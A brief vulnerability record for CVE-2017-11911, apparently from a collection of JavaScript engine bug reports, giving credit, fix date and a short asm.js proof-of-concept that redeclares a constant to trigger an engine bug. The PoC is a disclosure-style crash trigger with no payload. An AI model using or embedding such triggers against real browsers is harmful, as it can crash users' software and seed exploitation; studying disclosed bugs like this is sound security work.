CVE-2017-11911.md

CVE-2017-11911

• Fix: Jan 2018
• Credit: lokihardt of Google Project Zero

PoC

function createModule() {
    'use asm';
    const a = 1.0;
    function f() {
        var b = a;
        var a = 0;
    }

    return f;
}
var f = createModule();
f();

Reference

• Microsoft
• Google Project Zero
• Fix